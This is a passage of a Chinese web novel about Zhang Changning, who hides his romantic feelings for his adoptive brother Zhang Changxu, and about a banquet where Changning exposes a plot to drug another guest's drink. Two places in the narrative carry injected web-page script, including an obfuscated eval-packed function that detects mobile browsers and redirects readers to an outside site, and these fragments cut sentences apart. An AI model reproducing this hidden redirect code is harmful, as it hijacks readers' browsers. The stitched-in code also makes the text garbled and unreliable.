章长宁摇了摇头,心脏的跳动这才有了恢复正常的趋势,“我以为我睡过头,你不打一声招呼就走了。” “我还没走,只是见你睡得熟,不忍心喊醒。”章长叙将他往卧室里面带,“一下子从被窝里出来容易着凉,把拖鞋先穿上。” “……” 章长宁没接话,只是垂下了眼眸—— 此刻,章长叙正握住他的手腕,被掌心拢着的部分蕴得发烫,明明是再熟悉不过的亲密举动,但他却有些说不上来的眷恋。 从小客厅到卧室,短短五步路。 章长宁也只放任自己眷恋了这五步,他佯装不经意地松开章长叙的牵制,借着穿拖鞋的动作避开对方的目光。 “哥,你的飞机票是几点的?” “下午一点多。” 章长叙不着痕迹地捏了捏自己落空的掌心,语气还算平静,“差不多也该出发去机场了,你就别送了,我给你做了三明治,洗漱完再吃了吧。” “一点?” 章长宁连忙看了一眼手机时间,反驳,“是差不多了,我抓紧时间洗漱,我送你去机场。” “宁宁,不用……” “什么不用,要的。”章长宁私心还想要和章长叙多待一些时间,“你等我一下,很快地,三明治可以拿到路上吃。” 章长叙没舍得拒绝,“好,还有点时间,你别太着急,穿厚实点的衣服,今天风大。” “嗯。” 机场距离校区有近一个小时的车程,章长叙提前预定好了送机的车辆。 章长宁三下五除二就解决好了一个三明治,然后喋喋不休地和章长叙继续着各种各样的话题。 从小到大,他在面对章长叙时,永远都是话多且活泼的那一个。 章长叙就这么一瞬不瞬地盯着章长宁,不用像在医院里高度紧绷着神经、也不像是回家后独自待在房间里的孤单研学—— 只有章长宁在他身边事,他才能够感受到那点属于自己的喧闹。 只是再漫长的路程,终究也会有到头的时候。 “两位先生,到机场下客的指定口了。” “……” 章长宁的笑容凝了凝,“啊?” 他看着车窗外步履匆匆的机场乘客们,强制性被压下的不舍又冒了头,“开这么快啊。” 章长叙轻笑一声,率先下了车。 章长宁连忙跟着下车,陪着章长叙过了第一道例行检查,又陪着对方办理好了值机手续。 “好了,时间差不多了,我过个安检就好,你先回吧。” “……” 章长宁欲言又止,那股在车上的欢快劲早已经消失得无影无踪。 章长叙察觉出他的情绪,凑近揉了揉他的脑袋,“好了,等学校放假就回家,实在不行,我让爸妈还有大哥他们过段时间来看你。” 章长宁下意识追问,“那你呢?” 章长叙想起只会越来越忙的医院工作,尽可能地保证,“等我一有空,我再来看你。” “我知道你忙,别特意挤时间跑一趟。” 章长宁轻吸一口气,嗓音沾着点湿意,“有空就在家里好好休息,工作再忙也要记得吃饭。” 章长叙点头,“好,听你的。” 章长宁抿了抿唇,“那你进去吧,我看着你过了安检口我再走。” 章长叙这下子却不同意,只说,“我先目送你离开。” 要不然,以他对章长宁的了解,看着他背影进了安检口、进了休息室,十有八/九得憋不住红了眼睛。 人来人往的机场,章长宁不想显得太矫情,也不想在章长叙的眼皮子底下哭。 他将想要拥抱的手死死“压”在身侧,努力挤出一个笑容,“二哥拜拜,起落平安,到了那边给我发给消息。” “好,不是说下午还有课吗?赶紧回去。” “嗯。” 章长宁点了点头,却在转身时被章长叙一个巧劲拉了回来,就这么猝不及防地、埋头跌进了一个再熟悉不过的怀抱。 “……” “……” 呼吸和心跳撞在一块,鼻尖是再熟悉不过的清冽气息。 章长叙喊他,“宁宁。” 头顶上来传来的声响很轻,却也很重,像是酝酿好了什么,又像是在刻意隐藏什么。 章长宁声线在抖,“嗯?” 章长叙轻拍着他的后背,“只要你想,你在二哥这里永远都可以不用长大,所以不要害怕。” 他依旧可以像小时候那样,对着章长叙哭、对着章长叙闹、可以继续黏在章长叙的身边、也可以钻到他的怀里撒娇耍无赖。 无论什么样的章不宁,他都照单全收。 “二哥。” “嗯?” “我、我很想你。” 这份想念超脱于“家人”关系的界定,却又明明白白地警示着他:不能再往前多进一步,哪怕只是半寸,那也会是万劫不复。 他无法想象章长叙“恶心”“鄙夷”他的眼神,更不敢面对其他家人。 他受着章家的恩惠长大,不能做的事情有很多。 出国前的章长宁还保留着一丝希望,认为自己这份脱轨的感情只是成长路上的一时兴起,或许时间久了、距离远了就好了。 可随着日益加深的思念,他自以为努力的克制,只要章长叙一出现就会瓦解粉碎。 他知道,他变不回正常的那个“章长宁”了。 章长宁还是将脑袋埋在章长叙的身前,极力调整着自己消极的情绪。 “二哥,你知道的,我从小就最……最喜欢你了,但我不能一直这么赖着你。” 或许将来会出现另外一个人,取代章长叙在他心中的地位,又或许他会将章长叙留在心里一辈子。 无论如何,人生这页书只有不停往前翻。 只是这本书的结尾,终究不会写着他和章长叙两个人的名字。 章长宁伸手像以往那样拥抱住章长叙,贪恋着最后一次不该有的亲密,“二哥,其实我已经长大了,我有我自己的人生路要走呢,你别担心我。” “……” 章长叙的动作一顿,总觉得有什么正在悄然改变。 章长宁从章长叙的怀抱中退出,扬笑说道,“哥,你快过安检吧,我也走了,拜拜。” 说完,他就不给章长叙再说话的机会,挥手大步离开了机场大厅。 章长叙盯着他的背影,眸色深了又深。 如果可以,他想要拔腿追上去,可真这样做了又能如何? 章长宁说得对,其实他已经长大了,他会拥有属于他的人生,更会像现在这样一点点离开自己的视线。 “……” 章长叙看着那抹彻底离开机场的背影,短暂的苦涩一笑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 既然如此,被困在原地的人留他一个就行了,也幸好,只有他一个人。 -- 时间公平又无情地对待着每一个人,不会为了任何人停留。 章长宁凭借着出众的艺术天赋,在校时期就斩获了不少奖项,更是赶在毕业前就拥有了自己真正意义上的艺术展。 在他忙着学业的前途的同时,章长叙同样一跳再跳,短短四年就已经成为了帝京中心医院神经科最年轻的主刀医生。 只是这四年间,兄弟两人真正能见面相处的次数少之又少,不是章长叙被医院长期外派,就是章长宁被导师们带着全球各地举办艺术展会。 两人的微信还是联系着,但隔着手机屏幕、隔着时差,总像是缺了点什么。 日子就这么一天天地过着,直到章长宁忙完了人生总第一个艺术展。 占地面积巨大的酒吧里,此刻正有不少人在舞池里劲歌热舞着。 为了庆祝艺术展会的圆满成功,章长宁听取了工作人员们的意见,大手一挥包下了今晚酒吧的使用权,用来给朋友们尽情玩乐。 “宁~” 身后传来喊声。 坐在吧台的章长宁侧身看去,侧灯落在他的眉眼,这些年,足够他褪出少年人的青涩,天生精致的眉眼出落了更加漂亮。 端着鸡尾酒上前的安德鲁愣了两秒,心生感叹,“宁,你今晚很好看。” “谢谢。” 面对安德鲁的夸奖,章长宁大方接收。 安德鲁是他的朋友,德国人,同样从事于艺术相关的领域,比他的年纪稍长了一些,两人是前年在艺术展会上认识的。 这一次的艺术展会,安德鲁利用自己的人脉帮了不少忙。 安德鲁举了举酒杯,“喝一杯?” 章长宁端起自己的酒杯,碰了碰,“我喝一口,下次再补上。” 安德鲁问他,“这不像是你的酒量?你作为今晚庆功主角,是不是太安静了?” 章长宁实话实说,“今晚不能多喝,等这边一结束,我赶着凌晨五点的飞机回华国。” “这么着急?” “嗯,有点私事要处理。” 章长宁眉心微蹙,隐隐显露出一丝担心。 临近毕业前,好友商确言家中出了重大事故,他忙着艺术展实在是脱不开身。 这不一结束,章长宁必须得赶着回去,看看能不能有帮得上忙的地方。 安德鲁很有分寸地没有多问,陪着他小饮了一杯,杯中的酒光潋滟在章长宁的脸上,有些说不上来的撩人。 安德鲁笑了声,带着天生的直白和胆大,“宁,虽然不是第一次问了,但我还是想要再尝试一遍,你真的不能……” 话还没有说完,章长宁就干脆利落地打断,“当然不能,安德鲁,我说过的,我们只能是朋友。” “是。” 还没烧旺的热情又被一头扑灭。 安德鲁叹了一声,忍不住追问,“那你喜欢的人到底是谁?两年了,我真的很好奇。” 当初他第一次和章长宁提出交往时,对方就以“有喜欢的人”为理由,拒绝了他。 但这两年以来,章长宁的身边没有出现过任何一位恋人。 安德鲁知道,这事要么是为了拒绝编造出来的谎言,要么就是章长宁在暗恋什么人。 当然,以他对章长宁性格的了解,觉得更偏向于后一种答案。 章长宁心底泛起一丝稀碎的涟漪,却平静笑了笑,“别好奇了。” 安德鲁挑眉,“不能说?” 章长宁仰头将杯中的酒一饮而尽,“嗯,不能说。” 这辈子,他都不会有将这份喜欢、这个名字说出来的那一天。 12.【第012章】 落地帝京机场时,天色刚刚转黑。 章长宁久违地踏上这片熟悉的土地,心情有些说不上来的激动。 他慢悠悠地推着行李走出机场,还没等拿出手机拨通电话,不远处的呼唤声就响了起来—— “小宁!” 章长宁的目光顺势看去,才发现章渡和沈眠就在接机口兴奋地候着,而向来忙碌的章长叙竟然也出现在了他们的身边。 “爸,妈,你们怎么来了?” 章长宁连推车都顾不上了,直接拔腿跑了过去。 章长叙见他扑进父母的怀中,默不作声地绕后接管了行李推车。 “你总算肯回国了,我和你爸能不来接你吗?”沈眠揉了揉章长宁的脸颊,眉心温柔地蹙了蹙,“怎么感觉比两个月前还瘦了些?最近是忙得没有好好吃饭?” 两个月前,属于章长宁人生中的第一场艺术展开展,作为父母的章氏夫妇自然不远万里前往参加捧场了。 “没有瘦吧?我天天和大家一块吃团队餐呢,不过这次回家,你们好好给我补补~” 章长宁撒娇地将这个话题翻了篇,他察觉到侧后方的动静,下意识地偏头,好巧不巧地对上了章长叙投来的视线。 “……” 触及到日思夜想的眉眼,章长宁的心脏猛烈跳动了一拍,然后像触电般地及时垂下了自己目光。 “二哥,好久不见,你怎么也来了?” 语气里的轻巧少了一分,多了一丝极力克制的不自在。 章长叙近一年的医院工作很忙,上回章长宁回国休假时,他正好外派医援、不在帝京。 等到章长叙的外派工作结束,章长宁又返回了海外学习。 商家出事后的这两个月里,章长叙的忙碌程度更是上升了一个台阶,别说两人已经很久没有见过面了,就连微信上的聊天程度也大幅度地下降。 明明是从小一起长大、最熟悉的关系,可现在咫尺之距,章长宁却不知道该怎么相处了。 “……” 好久不见。 明明是再正常不过的问候,但放在他们的中间就显得生疏。 章长叙察觉到章长宁视线里的那点回避,瞳孔深处略过一丝不解和失落,不过他很快就找回了主动权。 “哪有人像你这样的?买了机票要回国,也不提早说一声。” 章长宁本能被他的话带动着反驳,“我说了啊,我这不是告诉大哥了吗?” 他是急着回来探望好友商确言的情况,除此之外,更想要给家里的长辈一个回归惊喜,哪里想到一落地就碰上了来接机的父母兄长? 真正惊喜的人反倒成了他自己。 章长宁反应过来,哼唧了一声,“大哥怎么这么藏不住事?是他告诉你们的吧?” 沈眠还是在笑,“不能怪你大哥,你嫂子现在怀着孩子,他家里公司两头忙着,有些分身乏术。” 章长宁想起那未曾谋面的小侄子,眸光微亮,“也是!我这次回国给大嫂带了很多礼物!” “对了,还有母婴用品,女孩子的、男孩子的都准备了,还是我特意找人推荐的……” 章长叙瞧见章长宁还是和往常那样喋喋不休的模样,嘴角微弯。 章渡示意,“好了小宁,咱们上车再说,奶奶知道你回来,还要家里等着呢。” “好。” … 车子平稳行驶在了高架桥上。 坐在后排的章长宁想起正事,忍不住问,“爸妈,确言家现在到底什么情况啊?三哥还是没醒吗?” “……” 章渡重重地叹了口气,似乎有些不忍心回答。 两个月前,商家三房在国外发生了一起严重的交通事故,车祸导致他多年好友、也就是商家三房夫妇抢救无效去世。 而商延枭和商确言两兄弟都遭受到不同程度的创伤,前者如今昏迷不醒,后者更是为了保命截去小腿。 章渡前阵子才帮忙料理完好友夫妇的葬礼,他看向正在开车的二儿子章长叙,“延枭那边的情况怎么样了?” 商延枭早就被移送回了国内治疗,正好由章长叙他们医院负责。 章长叙眸光微晃,借着后视镜看了一眼正在担心的章长宁,“目前的生命体征挺稳定的,能不能醒还得看后续的治疗。” “反倒是确言的情绪状态不是很好,他暂时不愿意多见人,等有空我再带你去看看他们。” 章长宁一脸沉重地点了点头,“好。” 这段时间他忙得抽不开身,又实在没有办法丢下团队提前回国,而给商确言发去的所有短信都石沉大海、没有回复,心里特别记挂。 沈眠想起一事,又说,“小宁,你是不是还不知道?延枭有了一位联姻对象。” “啊?” 章长宁惊得睁大眼睛,“什么联姻对象?三哥不是还昏迷着吗?” 沈眠解释,“商老夫人病急乱投医,不知道是从哪里听来的,给延枭找了一个联姻对象说是要冲喜。” “……” 章长宁无语,实在没料到这年头还能有这种荒唐事,但他转念一想也能理解,老人家上了年纪无非就是想求一个心安。 章长叙知道这事,简略回答, “嗯,叫柏续,这会儿已经住进商家了。” “我天。” 章长宁的震惊一波接着一波,忍不住替商延枭发声。 “就三哥那生人勿进的性格,等醒来后能接受这么一个突然出现的联姻对象吗?感觉会直接把对方赶出门。” 章长叙藏着一些事情,没接话。 章长宁越想越来了劲,“不行,改天有机会我得去会会那个叫柏续的,万一他是个有歪心思的,趁着三房现在落难、搞点不安分的小动作怎么办?” 倒不是章长宁把人心想得太坏,而是商家的财产实力就摆在那里,确实有很多人会落井下石、会心生觊觎。 章长宁义愤填膺,“三哥现在醒不过来,我可不能由着确言被其他人欺负。” 章长叙无奈,提醒他,“现在商家乱着呢,背地里尽是一些看笑话的人,指不定等着钻什么空子。” “你心思向来简单,不懂豪门商圈里的弯弯绕绕,尽量别意气用事、省得被有心人利用了。” 三房那边如果需要帮衬,有多年交情的章家自然会出手。 章长宁听见这番“管教”,含糊嘀咕,“当是医生教育病人呢?全家就你把我当成胡闹的小孩子,我才没那么傻。” 章长叙在红灯前停了下来,扭头和他对视,“你说什么?” “……” 章长宁缩了缩脖子,扭头往沈眠的胳膊上一贴,“我没说话。” 沈眠被他逗笑,“这么多年过去了,怎么还像小时候一样? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13829197|143596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全家就你二哥治得住你。” 短短几句平常对话,章长宁筑起来的内心屏障有了些些松动,他的小眼神往章长叙的方向一瞥,有点骨气但不多。 “二哥,绿灯了,你专心开你的车吧。” “……” 章长叙听见这熟悉的小语气,难得笑了声,继续朝着家的方向驶去。 … 章长宁习惯了忙碌的生活,这突然回国闲了下来,没两天就觉得无所适从了。 他打开自己的微信界面,看着好友商确言依旧没有回复的消息,突然觉得连盘中的午餐都少了点滋味。 章长叙下楼时,正好看见章长宁一脸愁苦的模样。 “怎么了?” “……” 两人的视线对上,章长宁忍不住问,“二哥,你什么时候有空带我去商家?我想见见确言他们。” 章长叙想起好友商延枭那边的秘密情况,“再过几天吧,等我带团队上门定期复查,到时候带你一块去。” 章长宁欲言又止,“那我想先去见见确言,我担心他……” “宁宁,林伯说了,确言近期还是不太愿意见人。”章长叙给自己倒了杯水,走近,“你给他发的消息,是不是也没回复?” 章长宁沉默点头。 原先的天之骄子,如今突然成为了残疾人,这种落差和痛苦没有人能轻易接受。 章长宁惦记好友的身心情况,却不愿意在不合适的时间去触碰他的伤疤。 章长叙猜到眼前人的想法,瞳孔深处晃出一丝考虑。 大概是过了半分钟,他才开口,“我上周听大哥说,这周在沁雅公馆有个商业性质的宴会,请了不少帝京名流,邀请函好像也发去了商家三房。” 章长宁顿时来了精神,追问,“三哥现在还昏迷着,如果三房要有人赴约,去的只能是确言?” 章长叙微微颔首,“差不多。” 如果商确言自己想通愿意出来见人的话,那章长宁在这种场合下的见面就不会显得唐突了。 章长宁当下做出决定,“二哥,那我也想去!” 以章家在帝京的地位,这种宴会场合势必会收到同等待遇的邀约,纯粹是看他们想不想去。 章长叙就猜到他会有这种冲动,却没有阻拦,“没记错的话是在今天晚上,待会儿你自己联系大哥问问,应该能赶得上。” 他顿了顿,将宠溺压在提醒下,“不过你在那种场合,遇事不能太胡来,实在有看不顺眼的事,尽量忍忍,回来告诉我们再解决。” 章家的势力和人脉在帝京圈是数一数二的,他不担心章长宁会受到欺负。 章长宁迫不及待地拿出手机联系大哥章长风,丝毫没将章长叙的交代放在心上,只哼哼唧唧地随意应和着。 章长叙哪里看不出他的“敷衍”,还是宠着,“宁宁。” “啊?” “我今天应该能准点下班,到时候去找你,少喝酒,别乱跑。” “嗯嗯嗯~”章长宁小鸡啄米地点头,压根没听。 章长叙被他这没心没肺的样子“气”笑,考他,“章长宁,我刚刚说了什么?” “……” 章长宁听到自己的全名,这才挪回了一点儿注意力,他对上章长叙询问的视线,脑子发懵却还不忘记卖乖讨巧。 “二哥,我都听你的,嘿嘿~” 13.【第013章】 章长宁抵达沁雅公馆的时候,宴会还没开始。 他特意找来侍者打听了一下宾客名单,商确言所在的商氏三房确实在邀约的前列,只不过对方暂时没有出席。 宴会的主办方是来自海市的孙妙春,行业内人称“春董”。 章长宁不太清楚这号人物的来头,不过他在来之前,已经收到自家大哥、二哥的再三叮嘱,让他尽量别在这种宴会上惹出不必要的麻烦。 章长宁做事还算有分寸,没想过在这种场合出风头。 他一时半会儿不确定好友商确言会不会来,于是在进行过宾客签到后,干脆拿起一杯香槟找了个没人的地方躲清静。 时间一分一秒地过去。 忽然间,手机传来了消息震动,是章长叙发来的消息—— “到宴会场了吧?确言是不是没来?今天没人陪着你一块去,你自己要多注意,我待会儿下班就去接你。” 章长宁盯着这条短信,嘴角不自觉地扬了起来。 他将酒杯随便搁在一侧,打字回复:嗯,确言应该是不打算来了,我现在就离开不合适,等开场后待一会儿就走,你别担心我。 消息刚发出去的那一瞬间,章长宁就听见了边上响起的脚步声。 他所在的地方和外面隔着一道储物柜,进入偏厅的三人好像都没发现有他的存在,站在离他五六步远的地方。 “宋少,您、您要不还是找别人吧?” 率先出口的人穿着公馆内统一的侍者服,听着语气口吻似乎是做了什么不情愿的事。 章长宁屏住呼吸,视线透过储物柜的缝隙往边上一看,站在侍者对面的人是一张熟悉面孔,是宋家的公子哥,宋千程。 对方一手插兜,一手把玩着电子烟,那神色看着就是高人一等的倨傲。 章长宁虽然不爱和这些帝京圈公子哥玩在一块,但对他们“玩世不恭”、“爱捉弄人”的恶趣味还是有所耳闻。 他意识到不对劲,凭借着直觉拿出手机、透过缝隙开始了实时记录。 果不其然,那名侍者再度求饶。 “宋少,我求你们了,这种事情我、我做不来的,这违法的呀!” “少废话,让你做就做!” 说着,宋千程边上的朋友就给侍者递去了一粒药片,“待会儿下到酒里、换到柏续面前就行,你放心,我们对这药量有数,找点乐子玩玩。” “……” 章长宁明白了他们即将进行的下作手段,眉心狠狠一拧,但转念间,他就觉得对方口中的名字无比耳熟。 柏续? 等等!这人好像是三哥的联姻对象?怎么会招惹上这些富家子弟? 就在章长宁百思不得其解的时候,三人已经结束了对话,重新返回了宴会厅。 “……” 章长宁看着手机里多出来的这段视频,心下的厌恶升了起来,从小到大接受过的教育都无法让他对这种事情置之不理。 更何况,对方口中的“柏续”还是商延枭目前的联姻对象。 哪怕这层联姻关系还没有坐实,他也不能让其他人找到由头间接性地嘲笑商家三房! … 章长宁返回主厅时,这场精心策划的晚宴已经开始了,他想起刚才目睹的恶作剧策划,没有急着出面发声,而是站定在外围默默观察情况。 章长宁的目光很快就锁定了刚才被“威胁”办事的侍者身上,对方将一杯加了料的酒水送到了一名年轻人的面前。 对方穿着高定的西装,看似干净的眉眼间实则透出一丝矜傲,举手投足间,不像是个寻常出身的小少爷。 “……” 章长宁眯了眯眼眸,心中很快就有了答案。 这就是柏续? 气质倒是比他想象中的要出众,但他不会就这么把酒喝下去了吧? 章长宁的思绪才绕了一个弯,另一边的柏续就已经发现了酒中的端倪,审视的目光直逼着侍者不敢动弹。 “这就发现酒有问题了?” 章长宁有些意外,对于柏续的印象也往上提了提,“还挺厉害。” 他暗自感叹了一句,忽地就听见身后有人开口,“章小少爷?你怎么……” “嘘。” 章长宁连忙示意边上的侍者噤声,压低声音追问,“我问你,那个叫柏续的,是不是代表商家三房来的?” 侍者知道他的身份,忙不迭地点头,“是,章小少爷,你不过去坐吗?” 话音刚落,宴会厅内就响起一阵惊呼。 锁定罪魁祸首的柏续居然当众发难,径直走到宋千程的那桌,他不仅将加了料的酒液泼在了宋千程的脸上,甚至还拿着酒杯砸了对方的脑袋。 更牛逼的是,柏续还用碎裂的酒柄冲向了宋千程的脖颈、逼着他为这场恶作剧道歉,俨然是一副要将事情闹大再算账的态度。 “我天呐。” 章长宁忍不住出声,眸底同样显露震惊。 他看惯了帝京圈众人内虚以为蛇的模样,如今柏续这么直来直往的处事方式,反倒正中他的心窝、看得他钦佩感油然而生。 章长宁眼珠子一转,示意边上同样看傻眼的侍者,“喂,那个宴厅屏幕还能用吗?” “啊?能、能吧!” “我这儿有段视频,你帮我去公放一下!”章长宁当机立断地示意,还不忘减轻侍者的心理负担,“放心,出了事算我的。” 侍者不敢得罪章长宁,连忙应下。 宴厅那边的“闹剧”还没结束。 宋千程的父亲见到自家儿子出事,急得起身,“柏续!我警告你!你这么故意伤人是犯法的!哪怕有商、商家给你撑腰,我宋家也要追究到底!” “犯法?” 面对众人想法不一的视线,柏续冷冷睨了过去,“你家儿子往酒里给我下药的时候,你怎么不站出来说他是犯法?” “我只是回个礼而已,宋总倒是义正言辞开始激动了?” “……” 宋总一怔,压根不知道还有这档子事。 宋千程没想到自己的手段会被柏续知晓并且拆穿,一时间没了回话。 反倒是他身边的狐朋狗友们先有了反应,睁眼说瞎话,“你、你有证据吗?这场晚宴是春董的场合,我们再、再没分寸也不会开这种玩笑!” “就是!” 宋千程找回了一点儿底气,“柏续,你别仗着背后有商氏就狐假虎威、无法无天!杀人偿命,你敢吗?” 柏续以一敌多,但丝毫不见发怵,“你赌我敢不敢?” 章长宁和侍者交代完毕,快步上前帮腔,“柏续敢不敢,我是不知道,但你们想要的证据,我这里倒是有!” … 有了章长宁的证据加持,宋氏父子再也没了嘴硬的可能。 何况,章长宁的背后是章家,柏续今晚又是代表商家来的,这两人背后的势力加在一块,绝不是旁人可以轻易撼动的。 众人内心的天平都有了偏向,等到宴会的东道主孙妙春“姗姗来迟”后,宋氏父子立刻顺着对方给出的台阶赔礼道歉,这场闹剧才宣告了结束。 孙妙春扬声,“各位,刚才是我招待不周,我已经让人在偏厅重新安排了宴席和演奏,请各位给个面子移步。” 这样的晚宴,吃喝本来就是最无关紧要的一环,彼此之间的人际往来才是最重要的。 大家都很给面子,纷纷移步到了隔壁的偏厅。 作为当事人之一的柏续早就没了心情,没再去凑这份热闹。 他移眼看向边上同样没挪位置的章长宁,“章小少爷,你不去吗?刚才的事情多谢了。” 章长宁对上他的视线,灿烂一笑,“你叫我名字就行,‘小少爷’什么的,听着怪别扭的,我对这样的宴会向来没兴趣。” 要是没发生这档子事,他早就要溜之大吉了。 柏续问,“没兴趣还来?对了,章长叙是你哥?” 突然听见章长叙的名字从别人的口中说出,章长宁眸光骤亮,旋即又升起一份连他自己都没察觉的警惕,“你认识我二哥?” 柏续微微颔首,“见过两三面,不算数。” 章长宁想起柏续和商延枭那一桩莫名其妙的联姻,“也是,我哥和三哥关系一直很好,你现在和三哥……联姻,应该是见过他。” 在今晚之前,章长宁对商延枭这位联姻对象还有所怀疑,怕对方是对商家三房有所图谋。 但他眼下见到了柏续,见识了对方面对宋家父子以及其他宾客时那不卑不亢、从容拿捏的气度,这印象就已经彻底改观了。 章长宁甚至还有些懊悔,觉得自己之前对柏续的脑补有些狭隘。 他从小就是个自然熟,这会儿很愿意和柏续搭话。 “你认识确言吧?我才回来没两天就听了不少风言风语,发消息给确言他也不回,原本想去找他的,但我二哥让我别贸然打扰、影响他情绪。” 想起好兄弟的遭遇,章长宁的担心溢于言表。 柏续又问,“所以,你以为三房会来参加晚宴的人是确言?” 章长宁点头,“嗯,三房出了那么大的事,谁知道有些人背地里说得多难听?我怕确言万一来了受欺负,没想到……” 他看向柏续的眼里多了些意外之喜,“代表三房来的人是你,柏续,你还挺厉害的,刚才够帅也够硬气!” 章长宁夸得很直白,毫不掩饰对柏续的欣赏。 “要我说,早该有人站出来,替三房好好收收那些莫名其妙的言论了。” 柏续感受到章长宁的好意,回以一笑,“还是多亏了你的那段视频,证据确凿,才让宋千程没能再蹦跶起来。” “客气。” 章长宁想到自己能帮上忙,扬了扬下颚,“我就是看不惯他们的做法。” 柏续想了想,说,“改天有机会的话,我请客向你道谢。” “改天?” 章长宁圆溜溜的眼珠一转,想法说来就来,“择日不如撞日,我们俩一块去喝酒吧?” 说这话时,他显然已经将章长叙的事前交代忘得一干二净。 柏续不确定地问,“现在?” 章长宁反问,“嗯,难道你还想继续在这宴厅里待着?多无聊啊?” 柏续眸光微晃, “也是,走吧?” “好。” … 砰! 酒杯相撞,溢出的酒液在半空中扬起好看的弧度。 章长宁仰头就将一杯特调精酿喝完,舒畅地叹出一口气,“爽!” 对面的柏续见识到他的牛饮,提醒,“你酒量行吧?待会儿要是醉了,我可不负责送你回去。” “你别担心,我酒量好着呢。” 章长宁又给自己续上了一杯,随便寻找着话题,“我以前在海外留学的时候经常喝,确言才是酒量不行的那个,他不爱喝酒只爱喝可乐。” 他看向一滴酒未动的柏续,怀疑地眯了眯眼,“你能喝酒吧?” 柏续没接话,也用实际行动证明了自己的酒量。 仰头,一饮而尽。 章长宁见他爽快,乐了,“痛快!对了,你年纪应该和我差不多大吧?” “嗯,我比确言大了一岁。” 章长宁点了点头,“那我们也算同龄,以后就是朋友了!” “……” 朋友? 这么容易就能成朋友了? 柏续有些惊讶地盯着章长宁,没接话。 “你干嘛这么看我?” 章长宁问完,才知道柏续是在“惊讶”什么。 他又给自己续上一杯酒,傲娇哼唧,“我这个人不是轻易交朋友的,你还不乐意啊?” 实际上,他这个人交朋友从来不看对方的身家条件、外貌性格,而是由心,相处要是愉快,自然能是朋友。 柏续忍俊不禁,“你的性格倒是和章医生截然相反,很难让人联想到是两兄弟。” 不仅性格不像,长相也没有相似之处—— 章长叙的外形冷峻,但板正得不苟言笑,章长宁称得上水灵漂亮,还有些出人意料的活泼。 “……” 对面无心的一句话,却使得章长宁笑容一顿,“是吗?” 他和章长叙就这么不像是两兄弟吗? 情感的堵塞只持续了一瞬,就被章长宁强行打散,“我二哥从小到大就不爱说话,当了医生后更是管我严得不像话,有时候冷着脸色凶起来,我可怕他了。” 这话说得有些夸张。 其实,章长宁从来不害怕章长叙对他严厉、对他生气,他内心深处最怕的是,有朝一日章长叙再也不管他了、彻底消失在他的世界里。 章长宁短促地皱了皱眉,试图转移话题,“相比起来,我大哥就对我温和爱笑多了,而且在商业往来上也很厉害。” 可为什么呢? 明明都是从小一块长大的,他就是对章长叙才会有那种见不得光的想法? 章长宁情绪又乱了些,只能借着酒意压制,“来,再喝一杯~” 柏续陪饮了一杯,提醒他,“你喝慢点,太快容易醉。” 章长宁不听他的,“那我不管,我今晚好不容易逮到机会,可得喝个尽兴!” 没一会儿,一小桶威士忌特调炸弹就见了底。 章长宁喝到红上了脸,偏偏还不尽兴,“柏续,我们换个特调酒味!再来一桶!” 话音刚落,章长宁的手机就响了起来,看见来电提醒的那一刹那,他借着酒意放大的嚣张劲顿时蔫儿吧唧。 “……” 完蛋了。 他完全忘记章长叙交代过的事情了。 章长叙有些心虚地看了一眼柏续,老实巴交地接通,“喂,二哥。” 电话那头的章长叙言简意赅,“在哪儿?” 章长宁听见对面隐隐有些发沉的语气,一声辩解也没了,“我马上就把地址发给你!” … 两人找的酒吧离沁雅公馆不远,章长叙找来的速度也远比想象中得要快。 自从接过章长叙的电话后,章长宁就已经无心喝酒了,他眼巴巴地望着酒吧门口的方向,等到章长叙出现的那一刻,他就立刻起身招手,“二哥!” 体内酒意四起,章长宁一时没稳住重心,“哎哟我去!” 章长叙及时赶到扶住,他 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章长宁还借着章长叙的倚靠勉强支撑,他打了一个酒嗝,“不!不行!” 明明自己就快“大难临头”了,却还不忘惦记自己新认识的朋友,他胡乱拍了拍章长叙的手臂,“哥,是我拉着柏续喝酒的。” “你今晚开车了吧?要不我们送一下柏续吧?反正我们俩家在同个方向。” “……” 柏续揉了揉太阳穴,没接话。 章长叙看着眼前两位迷糊到一块去的醉鬼,无可奈何,“好。” … 车子停在别墅车库时,章长宁在副驾上睡得正香。 章长叙不忍心吵醒他,只能先轻手轻脚地下车,但关闭车门一瞬间的动静还是吵醒了章长宁。 ——砰! “啊?” 睡梦中的章长宁一激灵,猛地睁开眼睛。 章长叙见此,连忙绕到他的这侧车门,弯腰凑近,“宁宁?被吵醒了?” “……” 章长宁的脑袋直发晕。 他睁着眼睛迷茫地喘了两声,不太确定地问,“二哥,到家了吗?” 章长叙揉了揉他发烫的颈侧,替他解开安全带,“嗯,到家了,我带你回房间?” 章长宁点了点头,又摇了摇头,“很晚了,我们不、不要吵醒其他人。” 说着,他就借着章长叙的搀扶下了车,然后也不知道哪里来的力气、迅速挣脱了章长叙的牵制。 “二哥,我没醉,我回去睡。” 沾了酒意的嗓音软软的,偏偏说话的语调一字一顿。 章长叙鲜少见识章长宁真正醉酒的模样,这会儿落在眼底,不自觉地被可爱得发笑,“好,你没醉,走吧,回家睡觉。” “嗯。” 章长宁应了一声,完全忽略章长叙伸出的手。 他转身看着只有几步远的车库电梯,玩心大起,非要证明什么,“二哥,我走直线给你看!走!” “……” 章长叙沉默。 然后就看见章长宁顶着一头卷毛,对着车库电梯的方向踏起了正步,直线是一点儿都不直的,左拐拐、右蹿蹿。 忽然间,章长叙一个眨眼的功夫,眼前人就已经左脚绊右脚,猛地栽了跟头。 “唔!” “宁宁!” 章长叙眉心瞬间隆起,大跨步将章长宁从地上捞了起来,“有没有受伤?磕到了是不是?” 章长宁疼得直吸了好几口气,却不当着章长叙的面说自己哪里疼,“二哥。” “嗯?” 章长叙一把将他面对面地搂抱在了自己的怀里,这是两人从小就养成的习惯,“喝醉了就不许再闹了,我带你回房间。” 